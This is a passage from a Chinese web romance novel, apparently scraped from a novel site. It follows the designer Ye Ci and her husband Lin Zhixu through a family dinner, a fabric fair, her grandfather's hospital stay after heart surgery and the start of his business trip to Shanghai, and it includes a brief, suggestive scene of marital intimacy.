叶宅。 秦姨系着素色围裙, 笑着把最后一道瑶柱鸡汤放在叶瓷面前:“小姐,蔺先生,都是按你们口味准备的。” 叶瓷笑, “谢谢秦姨, 辛苦了。” 秦姨也笑, 眼睛看向叶瓷和蔺之序,“有空要经常回来啊, 我再给你们做好吃的。” 蔺之序也颔首道谢,“到时候秦姨可不要觉得麻烦。” 秦姨笑, “哪里会呢。” 叶瓷挨着蔺之序坐, 对面是叶北庭。 她夹起一块金丝虾球,咽下食物后, 故意微微蹙眉看向叶北庭:“哥, 你最近怎么都不给我送好吃的了。” 叶北庭正用公筷给蔺之序布菜, 闻言失笑,“物流园项目刚落地, 前期协调跟打仗似的,我是真的忙得走不开。” 叶瓷唇角微弯,那点佯装的抱怨瞬间消散, “我知道哥哥很忙,项目要紧, 但也要注意休息, 别太拼。” 叶北庭笑,“行,等忙完这阵子,我亲自给你当司机送餐,这样行吗?想吃什么提前点单。” 叶瓷也笑, “这还差不多。” 蔺之序安静地听着,等叶瓷和哥哥说笑的间隙过去,他才自然地接上叶北庭之前提起的物流园话题。 两人低声交谈起来,术语简洁。 叶瓷对商业策略兴趣缺缺,注意力很快回到满桌菜肴上。 蔺之序一边与叶北庭分析着某个数据节点,一边自然地拿起手边的银筷和骨碟。 他手上动作精准利落,筷子尖探向那盘清蒸鲥鱼,避开细刺,稳稳夹起最肥美的一块雪白鱼腩。 整个过程行云流水,甚至没打断他和叶北庭的对话。 那块浸润着豉油和姜汁的鱼肉无声地落进了叶瓷手边的碟子里。 叶瓷握着筷子的手指微微蜷了下。 她看着碟子里那块被剔得干干净净的鱼肉,视线不由地上移,落在蔺之序专注与兄长交谈的侧脸上。 他下颌线清晰冷峻,眼神沉稳,是掌控全局的持重。 叶瓷忽然想起数月前的那次家宴,同样的位置,他用公筷为她夹了一块鱼腹肉,而且还是取的最嫩那一寸。 只不过那时的她和蔺之序刚订婚,坐在一起,如同两个被临时拼凑的陌生人。 而此刻,叶瓷的目光从他骨节分明的手滑回自己碟中那块完美的鱼肉,两人已经从形同陌路到融入了彼此的生活里。 她低头,夹起那块鱼肉送入口中,鲜甜软糯,滋味丰盈。 餐毕,杯盘撤下,三人又聊了会儿天,叶北庭送他们到玄关。 庭院里的夜风带着寒意吹进来,廊灯的光晕在地上拉长了三个人的影子。 “哥,别送了,外面有风。”叶瓷接过蔺之序递来的羽绒服穿上。 叶北庭已经穿好了外出服,笑道,“没那么娇贵,走吧,送你们上车。” 寒风簌簌,叶瓷戴上了帽子围巾,蔺之序先一步走向停在庭院里的车,叶瓷和叶北庭走在后面,穿过小花园时,叶瓷忽然伸手,轻轻拽住了叶北庭的胳膊。 叶北庭有些意外地低头看她。 这时,叶瓷踮起脚,凑近他耳边,声音带着柔软气音,“谢谢哥哥。” 叶北庭眼中掠过一丝不解:“嗯?谢什么?” 暖黄的光线下,叶瓷仰起脸,清亮的眼眸里映着细碎的光点,“没什么,”她声音轻快,每个字都像裹了蜜糖,“就是觉得现在很幸福。有哥哥,还有蔺之序。” 她侧过头,目光投向不远处车边挺拔的身影。 叶北庭笑了下。 他看到妹妹脸上发自内心的宁静与满足,突然觉得数月前同意蔺家提出的婚事,是个再正确不过的决定。 他抬手,轻轻揉了揉叶瓷的发顶,仿佛她还是当年那个扯着他衣角要糖吃的小女孩。 悬了许久的心,在这一刻,终于落回了实处。 车厢很安静,叶瓷靠在椅背上,侧脸望着车窗外的光影变幻,一天的忙碌和家宴的暖意沉淀下来,留下一种慵懒的倦怠。 回到家,蔺之序脱下西装外套,搭在衣帽间的立架上,“有个海外视频会议纪要需要确认,大概一小时左右,你先休息,不用等我。” “嗯。” 叶瓷应了声,换上柔软的室内鞋,径直走向主卧浴室。 很快,里面传来淅淅沥沥的水声。 等她带着一身湿润的橙花香气出来时,蔺之序还在书房。 书房的门虚掩着,门缝下透出一线冷白的光。 这边,叶瓷掀开蓬松的羽绒被一角,靠上床头。 然后拿起平板,指尖滑动几下,也没怎么刻意选,随手点开一档综艺节目。 夸张的笑声和快节奏的音效瞬间填满整间卧室。 一个小时后,卧室门被轻轻推开。 蔺之序走了进来,身上那股处理公务的沉静气息还未完全散去。 洗漱过,他换了深灰色丝质睡袍,领口微敞,白日里的冷峻气场收敛了大半,显出居家的松弛感。 床垫随着他坐下的动作微微下沉,他身上的沉木香立刻就占据了叶瓷旁边的空气。 “在看什么?”他侧过身,接着手臂轻轻一带,下一秒,叶瓷便被他的胸膛完全罩住。 姿势很亲昵。 叶瓷将屏幕朝他那边挪了挪,她动作幅度不大,刚好让他看清屏幕上五彩斑斓的画面,“一档明星综艺。” 蔺之序哦了声。 两人安静看了几分钟,蔺之序从不关注娱乐圈,对于屏幕里笑闹的明星,他一个也不认识。 渐渐地,他的目光扫过平板屏幕,又落回叶瓷的侧脸上。 “你是不是不喜欢看?”叶瓷问他。 蔺之序笑了下,“陪你看,还不错。” 叶瓷笑,知道他没兴趣,就不再勉强他,她刚要把视频关掉,画面突然切到一个熟悉的身影——江晏。 他竟然是这一期的飞行嘉宾。 画面里,江晏穿着浅蓝色卫衣,正蹲在地上帮小朋友系鞋带。 “啊,是他。” 叶瓷不自觉地停下动作。 蔺之序顺着她的目光看去:“认识?” “江晏。”叶瓷把平板又往中间挪了挪,“以前和他合作过。” 镜头里的江晏笑容灿烂得晃眼,后期给他加了个“人间小太阳”的花字特效。 蔺之序想起来了,很久以前在念一的朋友圈见过。 不过,他的长相,蔺之序有些记不清了,这时经叶瓷提醒,蔺之序又多看了两眼。 江晏正对着镜头比心,露出一排整齐的白牙。 蔺之序伸手调整了下枕头,状似无意地问:“他多大了?” “二十。”叶瓷说,对于客户的年龄,她都有笼统的印象。 “哦。” 蔺之序搭在枕角的手指无意识地收紧了半分,自己竟然在意一个毛头小子吸引了她片刻的注意力,这个认知让他唇角牵起一丝自嘲。 两人又看了会儿,这一期也接近了尾声,叶瓷暂停视频,“不想看了。” 蔺之序:“好。” 叶瓷放回平板,转过身面对他时,蔺之序刚好圈住她的腰身。 下一秒,他就吻上了她。 徐徐缓缓,像在拆一件珍贵的丝绸包裹。 当灼热气息扫过月退侧最薄的那片细腻肌肤时,叶瓷抓住了他的手。 月光透过纱帘,投下细碎光斑,又被他的阴影一寸寸覆盖。 许是不尽兴,齿尖轻轻剐蹭了下,窗外的玉兰树突然沙沙作响。 叶瓷看见天花板上的枝影摇晃,恍惚间分不清是夜风还是自己的战栗。 …… 浴室的水声淅淅沥沥,磨砂玻璃上氤氲着雾气。 数分钟后,她轻轻推开浴室门。湿热的水汽扑面而来,蔺之序背对着她,水珠顺着紧绷的线条滚落。 他听到声响转过头,黑发湿漉漉地贴在额前,清澈水流顺着下颌线滴落。 “怎么进来了?”他声音沙哑得厉害。 叶瓷没说话,她走近他,然后伸手关掉了花洒。水声停止,她踮起脚尖,带着薄茧的手指抚上他后颈。 蔺之序的喉结剧烈滚动了一下,水珠还挂在他的睫毛上。 他身体的温度很高,叶瓷攀着他劲实的肩膀,手指顺着肌肉纹理,在他颈侧的骨节处轻轻打转。 蔺之序突然抓住她的手腕,掌心热得惊人:“叶瓷,别闹。” 叶瓷仰头看他,水汽中他的轮廓格外深邃,她从他掌心挣开手腕,继续,最终停在炽热处。 蔺之序的呼吸陡然加重,撑在瓷砖上的手臂肌肉绷出坚硬的线条。 “刚才……”叶瓷凑近他耳边,“你让我很快乐。” 她手上的动作很生涩,却足够让他失控。 水珠从发梢滴落,分不清是未干的水迹还是新沁出的汗。 蔺之序突然转身将她抵在墙上,他低头咬住她的耳垂,声音哑得不成样子:“叶瓷……” 她看到他向来克制的表情出现裂缝,看着他额角暴起的青筋,原来让这个永远游刃有余的男人失控,比想象中更让人心跳加速。 不知过了多久,蔺之序突然按住她的手,另一只手臂扣住她的后脑勺,一个带着水汽和薄荷沐浴露气息的吻重重落下来。 这个吻又凶又急,像是惩罚,又像是某种隐秘的纵容。 最后时刻,他把她按在怀里,下巴抵着她的发顶,剧烈的心跳渐渐平复。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 第51章 晚安叶瓷 京北国家会展中心正在举行为期三天的面料展。 叶瓷俯身, 指尖细细捻着一块意大利工坊新出的提花织锦,这时一个带着笑意的声音在她身后响起。 “哎呦,小瓷看得噶认真啊?” 叶瓷闻声转身, “彭老师!” 彭罄款款走来, 一身炭灰色羊绒套装, 颈间系着条爱马仕的窄丝巾,笑容透着活力。 两人轻轻拥抱, 彭罄拍了拍她的背脊,上下打量她, “气色不错嘛!新婚的小日子过得蛮好伐?” 叶瓷嘴角笑意加深:“嗯, 还好。” “还好就好!”彭罄挽住她的胳膊,笑道, “蔺先生一看就是会疼人的。怎么样, 婚后生活没耽误我们叶总监搞事业吧?” 叶瓷笑, “没有。” 彭罄满意点头,“好, 这才是我看好的叶瓷。” 两人正聊着,祁誉过来打招呼,“彭老师, 叶总监,好久不见。” 彭罄笑, “以前还觉得侬是个小囡, 没想到现在门槛精的不得了,公司被经营的风生水起,比侬爸爸那时候还要搞得定,真是青出于蓝哦!” 前些日子,天工丝绸的祁家老爷子退居幕后, 现在的集团话事人是祁誉。 这时,祁誉的目光落在叶瓷身上,笑容真诚:“叶总监,还没当面恭喜你新婚,祝你和蔺先生百年好合。” 说着,他伸出手。 叶瓷与他轻轻一握,笑道,“谢谢祁总。” 寒暄过后,言归正传。 祁誉:“天工新推的‘星砂’系列反响不错,彭老师和叶总监可有兴趣移步一观?就在前面A区。” “正有此意哦。”彭罄兴致盎然。 三人一同走向天工丝绸的核心展区。 巨大的弧形展墙上,流光溢彩的各色丝绸如瀑布倾泻。 祁誉亲自讲解,接着,他拿起一块样品递给叶瓷。 叶瓷接过,对着展位顶灯变换角度,手指感受着面料的肌理。 “垂坠度很好。”她评价。 彭罄:“矿物纤维的嵌入比例和柔韧性测试数据有吗?” 祁誉从容应答:“比例控制在百分之一,柔韧性测试报告在这里。” …… 午餐选在会展中心顶层的会员制餐厅,落地窗外是铅灰色的京北冬景。 祁誉做东,菜品精致,话题自然又转回叶瓷新筹备的成衣线。 “选址定了伐?”彭罄小口喝着汤,问道。 叶瓷放下柠檬水杯,“已经定好了,预计元旦前后,线下门店就开业。” 彭罄笑,“小瓷做事,思路清晰,魄力也足。” 被夸,叶瓷也笑,“谢谢老师。” 这时,彭罄笑着打趣道,“看来蔺先生把你养得不错,心定才能做好设计嘛!” 午餐在轻松的氛围中结束。 彭罄下午还有学术讲座就先回去准备了,祁誉和叶瓷坐着聊了会儿面料上的话题,后来接到工作电话也起身回展台去了。 叶瓷低头看表,时间尚早。 寒风卷着零星的雪籽迎面袭来,她裹紧了驼色羊绒大衣的领口。 不远处的大型精品超市灯火通明。 叶瓷推着购物车,目标明确地穿梭在货架间。 饱满的车厘子,榛子巧克力,独立包装的雪花酥,甚至还有几盒热气腾腾的即食关东煮…… 购物车很快堆满。 京北大学西门,叶瓷的车停在路边梧桐树下,光秃的枝桠在铅灰色的天空上划出寂寥的线条。 她看着裹着厚厚羽绒服,步履匆匆的学生,直到一个同样裹得圆滚滚,帽子上沾着雪籽的身影小跑过来。 “姐!” 叶溦拉开车门,带着一身寒气钻进来。 “姐你怎么来了?下着雪呢,待会儿路滑怎么办?” 叶瓷笑:“会展中心这几天举行面料展,离你们学校挺近的,来看看你。” 叶溦:“还是给和叔打电话吧,天气预报还有几个小时的雪呢,让他来接你。” 叶瓷笑着,抬手捏了捏她的脸,“好了,我开车会小心的。” 说着,她把鼓鼓囊囊的纸袋塞进叶溦怀里:“给你的。” “哇,这么多好吃的!”叶溦拿起一串还温热的鱼丸就咬,含糊不清地抱怨,“快期末了,天天泡馆,学校的菜早就吃腻了。” 叶瓷笑,“慢点吃,不要慌。” 姐妹俩挤在温暖的车厢里。 叶溦将用过的竹签放在随车垃圾袋里,“姐,我要跟你分享一个圈内的大新闻。” 看着她雀跃的表情,叶瓷笑着先用纸巾替她擦了擦手指上的油,“说吧,我洗耳恭听。” 叶溦:“最近特火的一个女明星魏心许,你知道吧?” 叶瓷点了下头,“知道。” 叶溦:“她把徐老三给甩了。” 叶瓷哦一声。 叶溦笑,“这是徐老三第二次被人甩,你知道第一个甩他的人是谁吗?” 叶瓷没兴趣,不过看她热情勃勃,于是,“不知道,是谁?” 叶溦哈一声,“就是姐姐你呀!” 这下,叶瓷更没兴趣听了,甩他谈不上,因为两人压根就没谈,“我们换个话题吧,别提这个无聊的徐老三了。” 叶溦笑,“我只是岔个题外话,接下来才是重点哦,听说魏心许又搭上了新的靠山,徐老三惹不起对方,只得咽下这口气。” “姐,你说,放眼整个京北,能压制徐家的,也没剩几个人了吧?我想来想去,该不会是大哥吧?” “……” 叶瓷突然想起,那天听小于说,魏心许上了叶总的车。 “溦溦,你是听到什么传闻了吗?” 叶溦摇头,笑道,“没,纯纯我瞎猜的,不过你可别去问大哥啊,我害怕他停我卡。” 叶瓷笑,“放心吧。” 又过了会儿,叶溦看了眼表,两点多了,“姐,我得回学校了。” 她手忙脚乱收拾,抓起纸袋,又凑过来在叶瓷脸上飞快亲了一下,“谢谢姐,走咯!” 一阵风一样,人就推开了车门,然后汇入上课的学生当中。 收回视线,叶瓷又在车里坐了会儿,关于魏心许和哥哥,想了片刻,什么思路也没有理出来,索性不再纠结。 车子发动,她往会展中心的方向。 一下午都在各种面料中拍照,记录,直到展馆灯光调亮,闭馆时间要到了。 叶瓷收拾好资料走向出口,恰好遇到也准备离开的彭罄。 “收获如何?” 彭罄边走边问,裹紧了围巾抵挡停车场灌进来的冷风。 叶瓷笑,“有几款目标面料,回去做个预算。” “那就好,”彭罄点头,忽然又想起什么,“对了,你外公恢复得还可以吧?我那天在医院看他,精神头还蛮好的。” 叶瓷的脚步倏然顿住,“外公?他怎么了?” 她缓缓转头,看向彭罄,眼神里全是茫然。 彭罄脸上的笑容僵住,“小瓷你……你不知道?” 彭罄声音发紧,“哎呀,瞧我这记性,我以为,我以为你晓得的呀!” 叶瓷的心跳加速,声音竭力维持平稳,“外公他……怎么了?住院?什么时候的事?” 彭罄拉住她的手,“怪我怪我!就是心脏上有点小问题,上周在市中心医院做了个小手术,放了个支架。” “我去探望一个老同事,在走廊碰巧看见北庭陪着老人家在做检查。” “老人家精神真的蛮好,你哥哥照顾得也周到。手术很成功的呀!我以为你晓得的。” 她看着叶瓷强自镇定的脸,满是心疼,“小瓷别急,真的没事了。” 叶瓷看着她,半天,“老师,这里风太冷了,你赶紧回车上吧,我现在去给哥哥打个电话,你不用担心我。” 彭罄知道她的性子,又宽慰了两句就离开了。 回到车里,叶瓷开始给叶北庭打电话,听筒里传来单调漫长的忙音,每一声都敲在她紧绷的神经上。 无人接听。 她又试着给温书言打电话,她知道外公平日里不怎么玩手机,给他打电话总是会扑空。 拨了两次,跟预想中的一样,也没人接。 焦虑和难以言喻的委屈感涌上心头。 数秒,她重新拿起手机,给蔺之序打电话。 电话接通,对方低沉平稳的声音刚传过来,叶瓷紧紧咬住的下唇已经松开,声音带着她自己都未察觉的微颤,眼圈刷地红了。 蔺之序听出她情绪不对,忙问,“你在哪儿?” 叶瓷已经带着哭腔,“蔺之序,外公他做手术了,我都不知道……” 她握着手机的指节泛白,电话那头,蔺之序又问了一遍,“叶瓷你现在在哪儿?告诉我,我去接你。” 会展中心的广播正在播放闭馆通知,甜美女声在空旷的展厅回荡。 叶瓷调整情绪,强迫自己冷静下来。 她低头看时间,六点半,刚才彭老师说外公在市中心医院。 既然电话打不通,那她可以直接过去找,深吸一口气,她对蔺之序说,“你不用来接我,我自己开车去,你从公司去市中心医院,我们在那儿见。” 车窗外,天色渐暗,风吹着雪粒落在玻璃上。 蔺之序:“你在会展中心别动,我五分钟后到。” —— 黑色迈巴赫无声滑入市中心医院地下VIP通道。 车刚停稳,叶瓷便伸手推开了车门。 冬夜的冷风灌入通道,她却浑然不觉,径直走向专属电梯。 蔺之序跟司机交待了两句,又将她落在座椅上的手机塞进背包里,单手拎着合上了车门。 电梯平稳上行,叶瓷背脊挺直,目光盯着不断跳动的楼层数字。 蔺之序伸出手,温热干燥的掌心稳稳地覆在她手背上。 无声收拢,叶瓷蜷曲的指尖松了松。 顶层VIP病区。 推开套房门,叶瓷的脚步钉在原地。 单人沙发里,温书言正就着阅读灯看书,面容虽清瘦,精神却还可以。 他闻声抬头,看到门口的叶瓷,脸上满是惊讶。 “阿瓷?” 温书言放下书,“这么晚了,你怎么——” “外公。” 叶瓷的声音哽在喉咙里,她几步走过去,然后蹲在温书言旁边,隐忍了一路的恐慌在这一刻再也无法抑制,眼泪砸在温书言的手背上,洇开湿润的圆点。 “傻囡囡,哭什么……”温书言轻拍她的手背,“外公这不是好好的?一点小毛病,年纪到了,难免的。” 他抬眼,看向安静站在一旁的蔺之序,“都刚结束工作还没吃饭了吧?” 蔺之序走近,站在沙发旁,“吃饭可以晚一点儿,外公现在感觉怎么样了?” 说这话时,他的一只手搭在叶瓷微微颤抖的肩膀上。 温书言笑:“感觉很好,现在只盼着出院呢,就是医院不放人。” 蔺之序:“外公还是听医生的安排吧,再休养几天。” 温书言笑着叹气,“没办法,只好这样了。” 叶瓷听着两人的对话,抽泣稍稍平复,这时,她抬起脸,“外公你住院这么大的事,为什么不告诉我?” 温书言抽出纸巾替她擦眼泪,笑着解释,“怕你担心嘛,也不想耽误你工作,知道你最近在忙线下品牌开业的事,这么关键的时刻,我怎么能让我们阿瓷分心呢。” “我只是小手术而已,不值得提,再说了,你哥照应得很好。” 叶瓷的情绪渐渐稳定,她坐在温书言旁边,聊了会儿他的病情,“我想见见主治医生。” 蔺之序拉住她的手,“好,我陪你去。” 在医生办公室,主治王教授告诉她,“手术过程顺利,术后恢复也很理想。目前主要是静养观察,按时服药,避免情绪激动。” 说着,他调出电脑上的影像资料和监测数据,指给叶瓷看。 他的语气专业笃定,叶瓷微微颔首,“谢谢您,王教授。” 走出办公室,叶瓷长长吁出一口气,一直挺直的脊背终于松懈了一丝。 蔺之序的手自然地揽过她的腰,将她带向自己,“放心吧,没事了。” 叶瓷点点头。 回到病房,温书言已经躺下休息,护士在一旁轻声收拾,叶瓷站在床边,替他掖了掖被角。 蔺之序低声交代护士几句,便和叶瓷离开了病房。 车子驶离医院,汇入深夜稀疏的车流。 车内暖气开得很足,叶瓷绷了一晚的情绪骤然松弛,疲惫感涌上,她靠在椅背里,侧脸望着窗外,眼神有些放空。 就在这时,她的手机响了。 是叶北庭。 叶瓷划开接听键,将手机贴在耳边。 叶北庭:“小瓷?怎么了?打电话是有什么事吗?” 叶瓷如实相告,“我去看外公了,刚从医院出来。” 电话那边默了片刻,“你都知道了?” 叶瓷:“嗯。” 叶北庭的声音低了下去,“哥哥不是故意瞒你,这段时间,你工作室那边筹备新系列,压力那么大,成天忙得连轴转。” “外公也是一片好意,他坚决不让告诉你,怕你着急,怕你难过。” 半天,叶瓷轻轻嗯了声,“知道了。” 叶北庭那边安静了一阵,“时间不早了,快休息吧。” 电话挂断,叶瓷将手机放在一边,身体微微蜷缩,车窗外的霓虹灯光在她清冷的侧脸上流转,忽明忽暗。 几分钟后,蔺之序处理完手头的工作,他手臂一伸,将人揽了过来。 叶瓷没有抗拒,顺从地靠过去。 半小时后,两人回到了家。 “先生,太太回来了。”保姆笑着问道:“今晚想吃点什么?” 叶瓷一边换鞋,想了想,“蟹黄拌面吧。” 蔺之序接过她手里的大衣,转手挂在衣架上,对保姆说,“再加个清炒时蔬。” 保姆笑,“好的先生。” 叶瓷在浴室洗漱过,走进餐厅时,蔺之序已经在等着了,他换了件居家针织衫。 保姆端上两碗蟹黄拌面,蔺之序把姜醋汁往她那边推了推。 叶瓷挑起一筷子面,低头吃起来。 两人安静地用餐,偶尔响起碗筷相碰的声音。 吃完饭,蔺之序去书房开了个跨时区的视频会议。 一个多小时过去,蔺之序忙完从书房出来,他以为叶瓷已经睡着了,却发现卧室的阅读灯还亮着。 叶瓷靠在床头,正在看一部纪录片,听到动静抬起头。 “怎么还没睡?”蔺之序走到床边。 叶瓷锁屏手机,轻声道:“等你。” 蔺之序笑了下,他掀开被子坐下,叶瓷立刻靠了过来。 “看的什么?”他问,手指轻轻卷着她的发梢。 叶瓷:“随便看看。” 两人躺下后,叶瓷又朝他怀里拱了拱。 她没有看他,只是将额头抵在了他的颈窝里,然后伸出手臂,环住了他紧实的腰身,将自己完全嵌入了他的怀抱。 蔺之序低头在她前额印了下,他想起傍晚在会展中心见到她时,她眼圈红着,一看见他下车,就扑进了他怀里。 接住她的那一瞬,他感觉她身体在颤抖,那种破碎感,是他第一次从她身上看到。 两人安静地抱着,许是心有灵犀,叶瓷问他,“今天,你怎么知道我在会展中心?” 她没告诉他自己去参加面料展的事儿。 蔺之序:“我在电话里听到了闭馆通知,然后又让助理查了下,才知道会展中心在举行面料展。” 说完,他又收拢手臂,将她更紧地圈在怀里,下巴抵着她的发顶。 房间里只剩下两人交错的呼吸。 “蔺之序……” 怀里传来她闷闷的鼻音,“我很害怕。” 蔺之序的手掌在她背后轻轻拍抚,他知道她在怕什么,“放心,外公没事了。” “我知道,”叶瓷的声音更低了,像梦呓,“可是外婆走的时候,那种感觉太可怕了。” “就像……整个世界都空了,黑漆漆的,怎么喊都没人应。” “蔺之序,我好怕,我好怕再失去外公。” “不会的。” 蔺之序的手继续安抚她的脊背,“外公会好起来。有最好的医生,还有我们。” 见惯了她的独立冷静,蔺之序从未见过她像此刻这样,褪去了坚硬的外壳,露出脆弱。 两人都没再说话,良久,蔺之序低下头,借着昏黄灯光看去。 叶瓷正闭着眼,长长的睫毛上还沾着湿意,呼吸已变得均匀。 蔺之序维持着环抱她的姿势没动,过了会儿,他垂眸看怀中人,睡颜恬静。 看几眼,他拂开她颊边微湿的头发,然后,他的吻轻轻印在她额上,“晚安叶瓷。” 第52章 第52章 想狠狠欺负她 清晨, 雪光映进室内。 叶瓷翻了个身,看表,七点二十三。 下床洗漱过, 她拿起手机, 给小于拨去电话, “小于,今天原定的面料商视频会议改到下午三点, 文件电子版你先发我邮箱。” “另外,让版房把昨天试样那件礼服的腰线数据再核对一遍, 我下午回去要看。” 小于:“好的, 叶总。” 挂了电话,叶瓷来到衣帽间, 目光正掠过一件燕麦色羊绒高领衫。 身后传来脚步声。 回头, 蔺之序正停在隔她半步的距离, 身上是熨帖无痕的白色衬衣和黑色西裤。 “早餐已经好了,刚去卧室喊你, 发现床上没人。” 叶瓷笑了下,“刚醒。” 两人对视间,叶瓷自然地向前一步, 伸出手臂环住了他的腰身,脸颊轻轻贴在他胸口。 蔺之序手臂收拢, 然后低头吻了吻她的额角。 两人抱了会儿, 叶瓷先松开了手,她从他怀里仰起脸,“我要换衣服了。” 蔺之序笑,“好,我去餐厅等你。” 叶瓷换过衣服出来, 蔺之序正坐在餐桌前翻阅平板上的简报。 见她过来,他放下设备,将一杯温度刚好的黑咖啡推到她手边。 “雪大,”他抬眼看了看窗外,“路况也不好,上午让司机送你去医院。” 叶瓷端起咖啡抿一口,“嗯。你呢?” “上午有个并购案的最终决策会,不能缺席。”他拿起餐刀,动作利落地抹开蓝莓酱,“结束后我去医院找你。” 叶瓷:“好。” 吃过饭,两人一起出家门。 等电梯时,叶瓷突然心血来潮,“我们下楼走一走吧?” 蔺之序看她,“走去哪?” 叶瓷:“就在小区里。” 说着,她指了指走廊窗外银装素裹的庭院。 蔺之序知道她的意思了,不直接下到地下车库,而是到小区门口再上车。 “好。”应过,他抬手把她的围巾又整了下,以免吹冷风,整好后,他垂手拉住她。 两人很少这样从正门出入。 平日里都是直接下到地下车库,乘专属电梯直达顶层。 此刻推开单元门,冷冽空气迎面,带着初雪特有的纯净。 小区内静谧得仿佛与世隔绝。 高大的银杏树上积着厚厚的雪,枝丫低垂,精心修剪的灌木丛被白雪覆盖,步道上的积雪已经被物业清扫过,露出深色的石板。 “第一次这样走在小区里。”叶瓷呼出的白气在空中短暂停留又消散。 “对,”蔺之序握紧她的手,揣进自己大衣口袋,然后又把她往自己这边带了带,“这边雪少。” 两人的脚步在雪地上发出咯吱声。 蔺之序问她:“喜欢这样散步?” 叶瓷笑了声,头贴贴他的肩膀,“喜欢。” “冷吗?”蔺之序侧过头问她。 叶瓷:“不冷。” 远处,几个穿着厚羽绒服的孩子正在打雪仗,欢笑声隐约传来,叶瓷不由放慢脚步,看了几眼那些嬉戏的身影。 她突然问:“你喜欢孩子吗?” 蔺之序脚步一顿,这个问题来得太突然,他以前从没认真思考过。 其实,在遇到叶瓷之前,他连婚姻都是可有可无的态度,更别说孩子了。 “以前没想过。”他实话实说,“不过现在——” “现在怎么?”叶瓷好奇地抬头看他。 蔺之序偏脸,“现在觉得有你就很好,至于孩子,我暂时还没想那么远。” 叶瓷笑,这时蔺之序问她,“你呢?你是怎么想的?” 叶瓷有种突然被问倒的感觉,想了会儿,“其实,我也没有想那么远,孩子的话,我觉得顺其自然就好。” 蔺之序点点头,“嗯。” 小区大门就在前方。 来接叶瓷的黑色宾利已经停在路边,司机见他们走来,立刻下车打开车门。 叶瓷上了车,蔺之序站在雪地里替她合车门,“到了给我发消息。” 叶瓷:“嗯。” 车门合上,叶瓷透过车窗看他,男人修长身影站在雪地里,黑色大衣衬得他整个人越发挺拔。 他朝她挥了挥手,嘴角挂着浅淡笑意。 车子缓缓启动,叶瓷回头望,直到那个身影变成一个小黑点,最终消失在茫茫雪景中。 医院VIP病房,暖气开得很足。 温书言的精神比昨天更好些,正靠在床头看早间新闻。 叶瓷削着苹果,薄薄的果皮连成长长的一圈垂落。 门被推开,叶北庭裹着一身寒气进来,看到叶瓷,脚步滞了一下,“小瓷来了。” 叶瓷眼皮都没抬,继续削手里的苹果,带点刻意为之的“算账”意味。 叶北庭干咳一声,脱掉大衣挂好,来到床边:“外公,今天感觉怎么样?” 温书言从电视画面上移开视线,笑了句,“好着呢!” 叶北庭这才转向叶瓷,“还生我气呢?” 叶瓷将手里的苹果切块,“不敢,我哪里敢生哥哥的气。” 叶北庭笑,“哥哥错了,真错了。这不是怕你着急上火嘛,”他拿起水果刀和另一个苹果,“我给你削个大的苹果赔罪,行不行?” 叶瓷终于抬眼,“一个苹果就想打发我?” “那……两个?” 看在他态度还算端正的份儿上,叶瓷唇角微弯,又迅速绷住:“下不为例。” 正说着话,王教授进来例行查房了,他仔细询问了温书言的情况,又查看了各项监测数据,确认恢复良好。 医生离开后,温书言便挥挥手:“你们都去忙吧,别守着我这个老头子了,都放心好了。” 兄妹俩对视一眼,无奈应下,又仔细叮嘱了护工一番,才一同离开病房。 走出住院大楼,雪后的寒意更重了。 数分钟后,叶北庭的车来了,他走后,叶瓷低头看了眼时间,才上午十点多。 会展中心的国际面料展,今天是最后一天。 叶瓷看了看灰白的天空,决定再去现场看看。 司机开车过来了。 叶瓷坐进去,对司机报了会展中心的地址。 车子启动时,她拿出手机,给蔺之序发了条信息:【你不用来医院了,我现在去会展中心一趟,下午回工作室,晚上见。】 信息发出,石沉大海。 叶瓷知道他在开会,手机大多是静音状态。 半小时后,当她在展馆深处,正专注地记录一款瑞士工坊新研发的防水透气羊毛面料的参数时,手机在口袋里震动了一下。 她拿出来,屏幕上是蔺之序简洁的回复:【好。】 下午,叶瓷回了工作室。 一直忙到快六点才结束,出了工作室大厅,天空已不再是清晨的清亮,铅灰色的云层低低压下来,沉甸甸的,酝酿着更大的风雪。 手机上的天气预警跳了出来:今夜到明天,暴雪,气温骤降至零下。 司机将车稳稳停在她面前。 她刚坐进温暖的车厢,手机便响了起来,是蔺之序。 “叶瓷,”他低沉的声音透过听筒传来,背景里隐约有人低声交谈和纸张翻动的声音,“沪城那边有个项目需要我过去实地看一下,情况有些急,今晚的航班。” 叶瓷握着手机的手指收紧了些,目光投向窗外愈发阴沉的天空:“哦……知道了。” 她顿了顿,声音平缓地补充,“沪城预报明天也降温,快零下了,衣服带厚一点。” “放心,已经让司机回家取过了。”背景音里似乎有人提高声音喊了句“蔺总”,带着请示的意味。 “在忙?”叶瓷问。 “嗯,处理点收尾。”他应道,“到家给我信息。” “好,你忙。”叶瓷干脆地结束了通话。 回到家,感应灯驱散了玄关的昏暗,也映出一室的空旷。 保姆今天休假。 叶瓷脱下外套,换了舒适的居家服,走进厨房,冰箱里有保姆提前包好的鲜虾三鲜饺子。 她烧开水,看着圆滚滚的饺子在沸腾的水中沉沉浮浮,最终变得饱满莹白。 她盛出一碗,坐在宽敞的餐厅里。 筷尖夹起饺子,蘸了点醋,咬下去,鲜美的汤汁在口中蔓延。 家里有些安静,虽然往常和蔺之序在一起时,也是安静居多,但那又不一样,和他在一处时,她的心是安的,是落在实处的。 她起身拿来平板电脑,打开上次的纪录片,接着播放。 一小盘饺子,对着纪录片讲解,叶瓷用了二十多分钟才吃完。 窗外,雪片簌簌打在玻璃上,发出细碎的声响。 从厨房出来,她将纪录片点了暂停,然后熄灭屏幕。 拿起中岛台上的手机时,她下意识地望向书房方向,此时,门紧闭着,没有透出一丝光亮。 往常这个点,那里总会亮着灯,偶尔传出键盘敲击声或是低沉的电话交谈。 望了会儿,叶瓷打开两人的会话框,打字输入:【老公,想你。】 沪城的冬夜,湿冷入骨。 黄浦江畔顶级酒店的包间内,蔺之序坐在主位,深灰色羊绒西装修饰出宽肩窄腰的挺拔线条,姿态放松却不失威仪。 席间的话题围绕着刚刚结束考察的沪港新区核心项目。 “蔺总,这次新区物流枢纽的选址,真是神来之笔。” 坐在蔺之序右手边的合作方王总,笑容真诚地举了举杯,“后续的联动效应不可估量。” 他是少数几个能与蔺之序直接对话项目细节的人。 蔺之序端起面前的茶杯,杯沿轻碰了一下对方递过来的酒杯,“王总过誉了,枢纽的辐射范围测算,你们团队前期提供的交通流量模型,是关键。” 接着,话题自然地流转到具体的工程节点和技术标准上。 蔺之序话不多,但每次开口都直切要害,“地下管廊的抗震等级需要再复核一次地质报告。” 